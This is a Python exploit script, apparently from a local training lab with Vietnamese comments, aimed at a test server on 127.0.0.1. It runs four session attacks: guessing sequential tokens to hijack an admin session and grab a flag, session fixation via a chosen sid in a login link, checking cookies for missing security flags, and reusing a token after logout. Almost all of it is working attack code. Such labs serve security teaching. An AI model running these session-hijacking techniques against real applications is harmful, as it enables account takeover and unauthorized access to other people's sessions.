#!/usr/bin/env python3
"""
Exploit lab 4.2. Bon man:
  A. Token tuan tu -> doan session cua admin va chiem (session prediction).
  B. Session fixation -> ep victim dung session id do attacker chon.
  C. Cookie thieu co bao mat (doc Set-Cookie header).
  D. Logout khong huy session o server (token cu van dung).
"""
import re
import sys

import requests

BASE = "http://127.0.0.1:8042"


def login(username, password, sid=None):
    s = requests.Session()
    url = "%s/login" % BASE
    if sid:
        url += "?sid=%s" % sid
    r = s.post(url, data={"username": username, "password": password})
    return s, r


def demo_predictable():
    print("[*] Man A: token tuan tu -> doan session admin")
    # Attacker login that de biet token minh duoc cap (vi tri trong day tuan tu).
    _, r_att = login("mallory", "mallory")
    my_token = r_att.json()["token"]
    print("    attacker token = %s" % my_token)

    # Mot victim (admin) login -> nhan token KE TIEP trong day tuan tu.
    _, r_adm = login("admin", "S3cretAdminPw")
    print("    (victim admin vua login o dau do, token khong lo cho attacker)")

    # Attacker chi biet token cua minh, doan cac token lan can.
    base = int(my_token, 16)
    for guess in range(base + 1, base + 6):
        tok = "%08x" % guess
        rr = requests.get("%s/me" % BASE, cookies={"SESSIONID": tok})
        j = rr.json()
        if j.get("ok"):
            tag = "<= CHIEM DUOC admin! flag=%s" % j.get("flag") if j.get("user") == "admin" else ""
            print("    doan %s -> user=%s %s" % (tok, j.get("user"), tag))
            if j.get("user") == "admin":
                return j.get("flag")
    return None


def demo_fixation():
    print("\n[*] Man B: session fixation")
    fixed = "deadbeef-fixed-sid"
    print("    attacker chon san sid=%s va gui cho victim (vd qua link ?sid=...)" % fixed)
    # Victim click link va login => server GIU NGUYEN sid do attacker chon.
    login("admin", "S3cretAdminPw", sid=fixed)
    # Attacker dung chinh sid do, khong can mat khau.
    rr = requests.get("%s/me" % BASE, cookies={"SESSIONID": fixed})
    j = rr.json()
    if j.get("ok") and j.get("user") == "admin":
        print("    attacker dung sid co dinh -> user=%s flag=%s" % (j["user"], j.get("flag")))
        return j.get("flag")
    print("    that bai: %s" % j)
    return None


def demo_cookie_flags():
    print("\n[*] Man C: cookie thieu co bao mat")
    _, r = login("mallory", "mallory")
    sc = r.headers.get("Set-Cookie", "")
    print("    Set-Cookie: %s" % sc)
    low = sc.lower()
    missing = [f for f in ("httponly", "secure", "samesite") if f not in low]
    print("    THIEU: %s" % (", ".join(missing) if missing else "(khong thieu)"))


def demo_logout():
    print("\n[*] Man D: logout khong huy session o server")
    s, r = login("mallory", "mallory")
    tok = r.json()["token"]
    before = s.get("%s/me" % BASE).json()
    print("    truoc logout: /me -> %s" % before)
    s.post("%s/logout" % BASE)
    # Token cu van dung du da logout.
    after = requests.get("%s/me" % BASE, cookies={"SESSIONID": tok}).json()
    print("    sau logout, dung lai token cu %s -> %s" % (tok, after))
    return after.get("ok") is True


if __name__ == "__main__":
    f1 = demo_predictable()
    f2 = demo_fixation()
    demo_cookie_flags()
    still = demo_logout()
    print("\n=== KET QUA ===")
    print("Man A (predict): %s" % ("OK flag=%s" % f1 if f1 else "FAIL"))
    print("Man B (fixation): %s" % ("OK flag=%s" % f2 if f2 else "FAIL"))
    print("Man D (logout van song): %s" % ("OK (token cu van dung)" if still else "FAIL"))
    sys.exit(0 if (f1 and f2 and still) else 1)
